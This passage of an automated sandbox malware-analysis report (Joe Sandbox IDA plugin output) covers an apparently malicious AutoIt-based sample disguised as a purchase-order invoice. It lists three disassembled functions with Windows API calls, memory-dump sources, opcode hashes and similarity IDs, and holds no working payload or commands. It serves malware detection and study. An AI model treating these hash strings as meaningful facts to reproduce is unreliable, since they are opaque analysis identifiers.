                                                                                            • Instruction Fuzzy Hash: 13F08272744220A7E2105BA5AC01BBFB3D4EB84762F10443BFE44D12C0E66E8455D7BA
                                                                                            Function 00442262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044226C
                                                                                            • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0044227F
                                                                                              • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: FindMessagePostSleepWindow
                                                                                            • String ID: Shell_TrayWnd
                                                                                            • API String ID: 529655941-2988720461
                                                                                            • Opcode ID: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                            • Instruction ID: f0ed9326d30a696a9ade51716a531e8bd1705000bbe21894ac7a57cb5589152b
                                                                                            • Opcode Fuzzy Hash: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                            • Instruction Fuzzy Hash: 71D0A772F8130177E92077706D0FFCB26246F14710F010C3AB305AA1C0D4E8D440C358
                                                                                            Function 0044222A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00442240
                                                                                            • PostMessageW.USER32(00000000), ref: 00442247
                                                                                              • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: FindMessagePostSleepWindow
                                                                                            • String ID: Shell_TrayWnd
                                                                                            • API String ID: 529655941-2988720461
                                                                                            • Opcode ID: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                            • Instruction ID: d1e5b9be119239975405e397b0c0efdc35250005003305bf123d4268f2ecb06f
                                                                                            • Opcode Fuzzy Hash: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                            • Instruction Fuzzy Hash: 4DD05E72B813013BE92076706D0FF8B26246B14710F010C2AB205AA1C0D4E8A4408358
                                                                                            Function 00439514 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00439522
                                                                                              • Part of subcall function 00411A1F: _doexit.LIBCMT ref: 00411A2B
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Message_doexit
                                                                                            • String ID: AutoIt$Error allocating memory.
                                                                                            • API String ID: 1993061046-4017498283
                                                                                            • Opcode ID: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                            • Instruction ID: 5d68346425d2699d55792fe39b85c2381918ba1f955abba655776c5540820644
                                                                                            • Opcode Fuzzy Hash: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                            • Instruction Fuzzy Hash: 82B092343C038627E20437A01C0BF8C28049B64F42F220C2AB308384D259D90080231E